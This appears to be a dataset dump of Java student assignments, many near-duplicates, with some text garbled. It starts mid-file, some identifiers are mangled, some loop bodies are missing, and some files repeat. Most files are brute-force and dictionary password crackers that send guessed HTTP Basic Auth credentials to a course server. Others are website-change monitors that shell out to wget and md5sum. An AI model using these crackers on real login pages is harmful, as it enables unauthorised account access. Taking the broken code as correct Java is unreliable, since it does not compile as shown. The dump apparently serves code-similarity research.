bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } ",185.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class Dictionary extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; try{ BufferedReader bufr = new BufferedReader (new FileReader (""words1.txt"")); String inputLine=""""; if (s.length() != 0) { inputLine = bufr.readLine(); while ((inputLine != null) && (inputLine.length() != 3)) { inputLine = bufr.readLine(); } login="":""+inputLine; ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+inputLine); } catch(Exception ex){} } public Dictionary() { super (""URL11 Password""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); MyAuthenticator = new MyAuthenticator(); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main (String args[]) { Frame f = new Dictionary(); f.setSize(300, 300); f.setVisible (true); } class MyAuthenticator { String getPasswordAuthentication(Frame f, String prompt) { final Dialog jd = new Dialog (f, ""Enter password"", true); jd.setLayout (new GridLayout (0, 1)); Label jl = new Label (prompt); jd.add (jl); TextField username = new TextField(); username.setBackground (Color.lightGray); jd.add (username); TextField password = new TextField(); password.setEchoChar ('*'); password.setBackground (Color.lightGray); jd.add (password); Button jb = new Button (""OK""); jd.add (jb); jb.addActionListener (new ActionListener() { public void actionPerformed (ActionEvent e) { jd.dispose(); } }); jd.pack(); jd.setVisible(true); return username.getText() + "":"" + password.getText(); } } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 024.java," import java.util.*; import java.net.*; import java.io.*; import javax.swing.*; public class PasswordCombination { private int pwdCounter = 0; private int startTime; private String str1,str2,str3; private String url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; private String loginPwd; private String[] password; private HoldSharedData data; private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M', 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m', 'n','o','p','q','r','s','t','u','v','w','x','y','z'}; public PasswordCombination() { System.out.println(""Programmed by for INTE1070 Assignment 2""); String input = JOptionPane.showInputDialog( ""Enter number of threads"" ); if( input == null ) System.exit(0); int numOfConnections = Integer.parseInt( input ); startTime = System.currentTimeMillis(); int pwdCounter = 52*52*52 + 52*52 + 52; password = new String[pwdCounter]; doPwdCombination(); System.out.println(""Total Number of Passwords Generated: "" + pwdCounter); createConnectionThread( numOfConnections ); } private void doPwdCombination() { for( int i = 0; i < 52; i ++ ) { str1 = """" + chars[i]; password[pwdCounter++] = """" + chars[i]; System.err.print( str1 + "" | "" ); for( int j = 0; j < 52; j ++ ) { str2 = str1 + chars[j]; password[pwdCounter++] = str1 + chars[j]; for( int k = 0; k < 52; k ++ ) { str3 = str2 + chars[k]; password[pwdCounter++] = str2 + chars[k]; } } } System.err.println( ""\n"" ); } private void loadPasswords( ) { FileReader fRead; BufferedReader buf; String line = null; String fileName = ""words""; try { fRead = new FileReader( fileName ); buf = new BufferedReader(fRead); while((line = buf.readLine( )) != null) { password[pwdCounter++] = line; } } catch(FileNotFoundException e) { System.err.println(""File not found: "" + fileName); } catch(IOException ioe) { System.err.println(""IO Error "" + ioe); } } private void createConnectionThread( int input ) { data = new HoldSharedData( startTime, password, pwdCounter ); int numOfThreads = input; int batch = pwdCounter/numOfThreads + 1; numOfThreads = pwdCounter/batch + 1; System.out.println(""Number of Connection Threads Used:"" + numOfThreads); ConnectionThread[] connThread = new ConnectionThread[numOfThreads]; for( int index = 0; index < numOfThreads; index ++ ) { connThread[index] = new ConnectionThread( url, index, batch, data ); connThread[index].conn(); } } } ",016.java," import java.util.*; import java.net.*; import java.io.*; import javax.swing.*; public class PasswordCombination { private int pwdCounter = 0; private int startTime; private String str1,str2,str3; private String url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; private String loginPwd; private String[] password; private HoldSharedData data; private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M', 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m', 'n','o','p','q','r','s','t','u','v','w','x','y','z'}; public PasswordCombination() { System.out.println(""Programmed by for INTE1070 Assignment 2""); String input = JOptionPane.showInputDialog( ""Enter number of threads"" ); if( input == null ) System.exit(0); int numOfConnections = Integer.parseInt( input ); startTime = System.currentTimeMillis(); int pwdCounter = 52*52*52 + 52*52 + 52; password = new String[pwdCounter]; loadPasswords(); System.out.println( ""Total Number of Passwords: "" + pwdCounter ); createConnectionThread( numOfConnections ); } private void doPwdCombination() { for( int i = 0; i < 52; i ++ ) { str1 = """" + chars[i]; password[pwdCounter++] = """" + chars[i]; System.err.print( str1 + "" | "" ); for( int j = 0; j < 52; j ++ ) { str2 = str1 + chars[j]; password[pwdCounter++] = str1 + chars[j]; for( int k = 0; k < 52; k ++ ) { str3 = str2 + chars[k]; password[pwdCounter++] = str2 + chars[k]; } } } } private void loadPasswords( ) { FileReader fRead; BufferedReader buf; String line = null; String fileName = ""words""; try { fRead = new FileReader( fileName ); buf = new BufferedReader(fRead); while((line = buf.readLine( )) != null) { password[pwdCounter++] = line; } } catch(FileNotFoundException e) { System.err.println(""File not found: "" + fileName); } catch(IOException ioe) { System.err.println(""IO Error "" + ioe); } } private void createConnectionThread( int input ) { data = new HoldSharedData( startTime, password, pwdCounter ); int numOfThreads = input; int batch = pwdCounter/numOfThreads + 1; numOfThreads = pwdCounter/batch + 1; System.out.println(""Number of Connection Threads Used="" + numOfThreads); ConnectionThread[] connThread = new ConnectionThread[numOfThreads]; for( int index = 0; index < numOfThreads; index ++ ) { connThread[index] = new ConnectionThread( url, index, batch, data ); connThread[index].conn(); } } } " 084.java," import java.Thread; import java.io.*; import java.net.*; public class BruteForce extends Thread { final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'}; final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; BruteForce parent; public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; starttime = System.currentTimeMillis(); for(int i=0; i ""); System.out.println("" arguments specified, using standard values.""); host = ""sec-crack.cs.rmit.edu.""; path = ""/SEC/2/index.php""; user = """"; } System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user); System.out.println(""Using "" + attackslaves.length + "" happy threads...""); parent = new BruteForce(host, path, user, 0, 0, null); for(int i=0; i ""); System.out.println("" arguments specified, using standard values.""); host = ""sec-crack.cs.rmit.edu.""; path = ""/SEC/2/index.php""; user = """"; } System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user); System.out.println(""Using "" + attackslaves.length + "" happy threads...""); parent = new Dictionary(host, path, user, 0, 0, null, lnr); for(int i=0; i""); System.exit(1); } BruteForce bruteForce1 = new BruteForce(); Result=bruteForce1.Password(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); System.out.println(""The Password of ""+args[0]+""is..""+Result); } private String Password(String urlString,String username) { int cnt=0; t0 = System.currentTimeMillis(); for ( char ch = 'A'; ch <= 'z'; ch++ ) { if (ch>'Z' && ch<'a') { ch='a'; } for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ ) { if (ch1>'Z' && ch1<'a') { ch1='a'; } for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ ) { if (ch2>'Z' && ch2<'a') { ch2='a'; } password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2); System.out.print(""crackin...:""); System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); try { URL url = new URL (urlString); String userPassword=username+"":""+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc= url.openConnection(); conc.setRequestProperty (""Authorization"", "" "" + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"")) { t1 = System.currentTimeMillis(); net=t1-t0; System.out.println(""The Number of Attempts ""+cnt); System.out.println(""Total Time Taken in secs""+net/1000); return password; } } catch (Exception e ) { e.printStackTrace(); } } } } return ""Password could not found""; } }",150.java," import java.net.*; import java.io.*; import java.util.Date; public class Dictionary{ private static String password="" ""; public static void main(String[] args) { String Result=""""; if (args.length<1) { System.out.println(""Correct Format Filename username e.g<>""); System.exit(1); } Dictionary dicton1 = new Dictionary(); Result=dicton1.Dict(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); System.out.println(""Cracked Password for The User ""+args[0]+"" The Password is..""+Result); } private String Dict(String urlString,String username) { int cnt=0; FileInputStream stream=null; DataInputStream word=null; try{ stream = new FileInputStream (""/usr/share/lib/dict/words""); word =new DataInputStream(stream); t0 = System.currentTimeMillis(); while (word.available() !=0) { password=word.readLine(); if (password.length()!=3) { continue; } System.out.print(""crackin...:""); System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); URL url = new URL (urlString); String userPassword=username+"":""+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc = url.openConnection(); conc.setRequestProperty (""Authorization"", "" "" + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"")) { System.out.println(""The Number Of Attempts : ""+cnt); t1 = System.currentTimeMillis(); net=t1-t0; System.out.println(""Total Time in secs...""+net/1000); return password; } } } catch (Exception e ) { e.printStackTrace(); } try { word.close(); stream.close(); } catch (IOException e) { System.out.println(""Error in closing input file:\n"" + e.toString()); } return ""Password could not found""; } }" 005.java," import java.io.*; import java.util.*; import java.*; import java.net.*; public class WatchDog { static Process p = null; static Process qproc = null; static BufferedReader bf = null; static StringTokenizer tok = null; static String Path = null; static String str = null; static String urlStr=null; static boolean changed = false; static File indexfile = new File(""index.html""); static File tmpfile = new File(""tmpindex.html""); static File mdfile = new File(""md5file.txt""); static File tmpmdfile = new File(""tmpmd5file.txt""); static PrintWriter mailwriter = null; public static void main(String[] args) { urlStr = ""http://www.cs.rmit.edu./""; try { mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false))); getLatest(urlStr); parseFile(); mailwriter.read(); if(changed) { System.out.println(""Sending Mail""); p = Runtime.getRuntime().exec(""./mailscript""); p.waitFor(); } else System.out.println("" mail sent""); } catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println(""Interrupted Exception""); intex.printStackTrace(); } } static void getLatest(String urlStr) { URL url = null; try { url = new URL(urlStr); } catch (MalformedURLException mfurl) { System.out.println(""Malformed URL""); mfurl.printStackTrace(); } try { mailwriter.println(); p = Runtime.getRuntime().exec(""/usr//pwd""); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); Path=bf.readLine(); if (indexfile.exists()) { mailwriter.println(""File with name 'index.html' found in directory.""); mailwriter.println(""Renaming existing 'index.html' 'tmpindex.html...""); p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile); p.waitFor(); p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile); mailwriter.println(); mailwriter.println(""File with name 'md5file.txt' found in directory.""); mailwriter.print(""Renaming existing 'md5file.txt' 'tmpmd5file.txt...""); mailwriter.println("".""); mailwriter.println(); } mailwriter.println(""Downloading current version of site - "" + urlStr); p = Runtime.getRuntime().exec(""/usr/local//wget ""+url); p.waitFor(); if (!tmpfile.exists()) { mailwriter.println(""File - "" + urlStr + ""index.html saved disk for the first time.""); } } catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (IndexOutOfBoundsException iobe) { System.out.println(""Index Out Of Bounds Exception""); iobe.printStackTrace(); } catch (Exception e) { System.out.println(""Exception""); e.printStackTrace(); } } static void parseFile() { Vector imgVect = new Vector(); try { p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); while((str=bf.readLine())!=null) { bf = new StringTokenizer(str, ""\"""", false); while(bf.hasMoreTokens()) { str=bf.nextToken(); if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0)) imgVect.addElement(str); } } }catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (Exception e) { System.out.println(""Exception""); e.printStackTrace(); } mailwriter.println(""Creating file with md5sums of the webpage and images...""); md5Create(imgVect); } static void md5Create(Vector imgVect) { String tmpString = null; Vector imgNames = new Vector(); try { PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); pr.println(bf.readLine()); for(int i=0; i 0) || (str.indexOf(""jpg"") > 0)) prsName=str; } return (Object)prsName; } } ",006.java," import java.io.*; import java.util.*; import java.*; import java.net.*; public class WatchDog { static Process p = null; static Process qproc = null; static BufferedReader bf = null; static StringTokenizer tok = null; static String Path = null; static String str = null; static String urlStr=null; static boolean changed = false; static File indexfile = new File(""index.html""); static File tmpfile = new File(""tmpindex.html""); static File mdfile = new File(""md5file.txt""); static File tmpmdfile = new File(""tmpmd5file.txt""); static PrintWriter mailwriter = null; public static void main (String[] args) { urlStr = ""http://www.cs.rmit.edu./""; try { mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false))); getLatest(urlStr); parseFile(); mailwriter.read(); if(changed) { System.out.println(""Sending Mail""); p = Runtime.getRuntime().exec(""./mailscript""); p.waitFor(); } else System.out.println("" mail sent""); } catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println(""Interrupted Exception""); intex.printStackTrace(); } } static void getLatest(String urlStr) { URL url = null; try { url = new URL(urlStr); } catch (MalformedURLException mfurl) { System.out.println(""Malformed URL""); mfurl.printStackTrace(); } try { mailwriter.println(); p = Runtime.getRuntime().exec(""/usr//pwd""); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); Path=bf.readLine(); if (indexfile.exists()) { mailwriter.println(""File with name 'index.html' found in directory.""); mailwriter.println(""Renaming existing 'index.html' 'tmpindex.html...""); p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile); p.waitFor(); p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile); mailwriter.println(); mailwriter.println(""File with name 'md5file.txt' found in directory.""); mailwriter.print(""Renaming existing 'md5file.txt' 'tmpmd5file.txt...""); mailwriter.println("".""); mailwriter.println(); } mailwriter.println(""Downloading current version of site - "" + urlStr); p = Runtime.getRuntime().exec(""/usr/local//wget ""+url); p.waitFor(); if (!tmpfile.exists()) { mailwriter.println(""File - "" + urlStr + ""index.html saved disk for the first time.""); } } catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (IndexOutOfBoundsException iobe) { System.out.println(""Index Out Of Bounds Exception""); iobe.printStackTrace(); } catch (Exception e) { System.out.println(""Exception""); e.printStackTrace(); } } static void parseFile() { Vector imgVect = new Vector(); try { p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile); p.waitFor(); bf = new BufferedReader(new InputStreamReader( p.getInputStream())); while((str=bf.readLine())!=null) { bf = new StringTokenizer(str, ""\"""", false); while(bf.hasMoreTokens()) { str=bf.nextToken(); if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0)) imgVect.addElement(str); } } }catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (Exception e) { System.out.println(""Exception""); e.printStackTrace(); } mailwriter.println(""Creating file with md5sums of the webpage and images...""); md5Create(imgVect); } static void md5Create(Vector imgVect) { String tmpString = null; Vector imgNames = new Vector(); try { PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); pr.println(bf.readLine()); for(int i=0; i 0) || (str.indexOf(""jpg"") > 0)) prsName=str; } return (Object)prsName; } } " 238.java," import java.util.*; import java.io.*; import java.net.*; class BruteForce { public static void main (String a[]) { final char [] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; String pwd=""""; for(int i=0;i<52;i++) { for(int j=0;j<52;j++) { for(int k=0;k<52;k++) { pwd = alphabet[i]+""""+alphabet[j]+""""+alphabet[k]; String userPassword = "":""+pwd; RealThread myTh = new RealThread(i,userPassword); Thread th = new Thread( myTh ); th.start(); try { th.sleep(100); } catch(Exception e) {} } } } } } class RealThread implements Runnable { private int num; private URL url; private HttpURLConnection uc =null; private String userPassword; private int responseCode = 100; public RealThread (int i, String userPassword) { try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); } catch(Exception ex1) { } num = i; this.userPassword = userPassword; } public int getResponseCode() { return this.responseCode; } public void run() { try { String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); uc = (HttpURLConnection)url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); System.out.println(""Reponse = ""+uc.getResponseCode()+""for pwd = ""+userPassword); this.responseCode = uc.getResponseCode(); if(uc.getResponseCode()==200) { System.out.println("" ======= Password Found : ""+userPassword+"" ========================================= ""); System.exit(0); } } catch (Exception e) { System.out.println(""Could not execute Thread ""+num+"" ""); } } } ",240.java," import java.util.*; import java.io.*; import java.net.*; class Dictionary { public static void main (String a[]) { String pwd=""""; try { BufferedReader bf = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); int i=0; while(bf.readLine() != null) { pwd= bf.readLine(); String userPassword = "":""+pwd; RealThread myTh = new RealThread(i,userPassword); Thread th = new Thread( myTh ); th.start(); try { th.sleep(100); } catch(Exception e) {} i++; } } catch(Exception e ) { System.out.println("" ex while =""+ e); } } } class RealThread implements Runnable { private int num; private URL url; private HttpURLConnection uc =null; private String userPassword; private int responseCode = 100; public RealThread (int i, String userPassword) { try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); } catch(Exception ex1) { } num = i; this.userPassword = userPassword; } public int getResponseCode() { return this.responseCode; } public void run() { try { String encoding = new bf.misc.BASE64Encoder().encode (userPassword.getBytes()); uc = (HttpURLConnection)url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); System.out.println(""Reponse = ""+uc.getResponseCode()+""for pwd = ""+userPassword); this.responseCode = uc.getResponseCode(); if(uc.getResponseCode()==200) { System.out.println(""====== Password Found : "" +userPassword+ ""=======================""); System.exit(0); } } catch (Exception e) { System.out.println(""Could not execute Thread ""+num+"" ""); } } } " 006.java," import java.io.*; import java.util.*; import java.*; import java.net.*; public class WatchDog { static Process p = null; static Process qproc = null; static BufferedReader bf = null; static StringTokenizer tok = null; static String Path = null; static String str = null; static String urlStr=null; static boolean changed = false; static File indexfile = new File(""index.html""); static File tmpfile = new File(""tmpindex.html""); static File mdfile = new File(""md5file.txt""); static File tmpmdfile = new File(""tmpmd5file.txt""); static PrintWriter mailwriter = null; public static void main (String[] args) { urlStr = ""http://www.cs.rmit.edu./""; try { mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false))); getLatest(urlStr); parseFile(); mailwriter.read(); if(changed) { System.out.println(""Sending Mail""); p = Runtime.getRuntime().exec(""./mailscript""); p.waitFor(); } else System.out.println("" mail sent""); } catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println(""Interrupted Exception""); intex.printStackTrace(); } } static void getLatest(String urlStr) { URL url = null; try { url = new URL(urlStr); } catch (MalformedURLException mfurl) { System.out.println(""Malformed URL""); mfurl.printStackTrace(); } try { mailwriter.println(); p = Runtime.getRuntime().exec(""/usr//pwd""); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); Path=bf.readLine(); if (indexfile.exists()) { mailwriter.println(""File with name 'index.html' found in directory.""); mailwriter.println(""Renaming existing 'index.html' 'tmpindex.html...""); p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile); p.waitFor(); p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile); mailwriter.println(); mailwriter.println(""File with name 'md5file.txt' found in directory.""); mailwriter.print(""Renaming existing 'md5file.txt' 'tmpmd5file.txt...""); mailwriter.println("".""); mailwriter.println(); } mailwriter.println(""Downloading current version of site - "" + urlStr); p = Runtime.getRuntime().exec(""/usr/local//wget ""+url); p.waitFor(); if (!tmpfile.exists()) { mailwriter.println(""File - "" + urlStr + ""index.html saved disk for the first time.""); } } catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (IndexOutOfBoundsException iobe) { System.out.println(""Index Out Of Bounds Exception""); iobe.printStackTrace(); } catch (Exception e) { System.out.println(""Exception""); e.printStackTrace(); } } static void parseFile() { Vector imgVect = new Vector(); try { p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile); p.waitFor(); bf = new BufferedReader(new InputStreamReader( p.getInputStream())); while((str=bf.readLine())!=null) { bf = new StringTokenizer(str, ""\"""", false); while(bf.hasMoreTokens()) { str=bf.nextToken(); if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0)) imgVect.addElement(str); } } }catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (Exception e) { System.out.println(""Exception""); e.printStackTrace(); } mailwriter.println(""Creating file with md5sums of the webpage and images...""); md5Create(imgVect); } static void md5Create(Vector imgVect) { String tmpString = null; Vector imgNames = new Vector(); try { PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); pr.println(bf.readLine()); for(int i=0; i 0) || (str.indexOf(""jpg"") > 0)) prsName=str; } return (Object)prsName; } } ",005.java," import java.io.*; import java.util.*; import java.*; import java.net.*; public class WatchDog { static Process p = null; static Process qproc = null; static BufferedReader bf = null; static StringTokenizer tok = null; static String Path = null; static String str = null; static String urlStr=null; static boolean changed = false; static File indexfile = new File(""index.html""); static File tmpfile = new File(""tmpindex.html""); static File mdfile = new File(""md5file.txt""); static File tmpmdfile = new File(""tmpmd5file.txt""); static PrintWriter mailwriter = null; public static void main(String[] args) { urlStr = ""http://www.cs.rmit.edu./""; try { mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false))); getLatest(urlStr); parseFile(); mailwriter.read(); if(changed) { System.out.println(""Sending Mail""); p = Runtime.getRuntime().exec(""./mailscript""); p.waitFor(); } else System.out.println("" mail sent""); } catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (InterruptedException intex) { System.out.println(""Interrupted Exception""); intex.printStackTrace(); } } static void getLatest(String urlStr) { URL url = null; try { url = new URL(urlStr); } catch (MalformedURLException mfurl) { System.out.println(""Malformed URL""); mfurl.printStackTrace(); } try { mailwriter.println(); p = Runtime.getRuntime().exec(""/usr//pwd""); p.waitFor(); bf= new BufferedReader(new InputStreamReader( p.getInputStream())); Path=bf.readLine(); if (indexfile.exists()) { mailwriter.println(""File with name 'index.html' found in directory.""); mailwriter.println(""Renaming existing 'index.html' 'tmpindex.html...""); p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile); p.waitFor(); p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile); mailwriter.println(); mailwriter.println(""File with name 'md5file.txt' found in directory.""); mailwriter.print(""Renaming existing 'md5file.txt' 'tmpmd5file.txt...""); mailwriter.println("".""); mailwriter.println(); } mailwriter.println(""Downloading current version of site - "" + urlStr); p = Runtime.getRuntime().exec(""/usr/local//wget ""+url); p.waitFor(); if (!tmpfile.exists()) { mailwriter.println(""File - "" + urlStr + ""index.html saved disk for the first time.""); } } catch (IOException ioe) { System.out.println(""IOException""); ioe.printStackTrace(); } catch (IndexOutOfBoundsException iobe) { System.out.println(""Index Out Of Bounds Exception""); iobe.printStackTrace(); } catch (Exception e) { System.out.println(""Exception""); e.printStackTrace(); } } static void parseFile() { Vector imgVect = new Vector(); try { p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile); p.waitFor(); bf= new BufferedReader(new 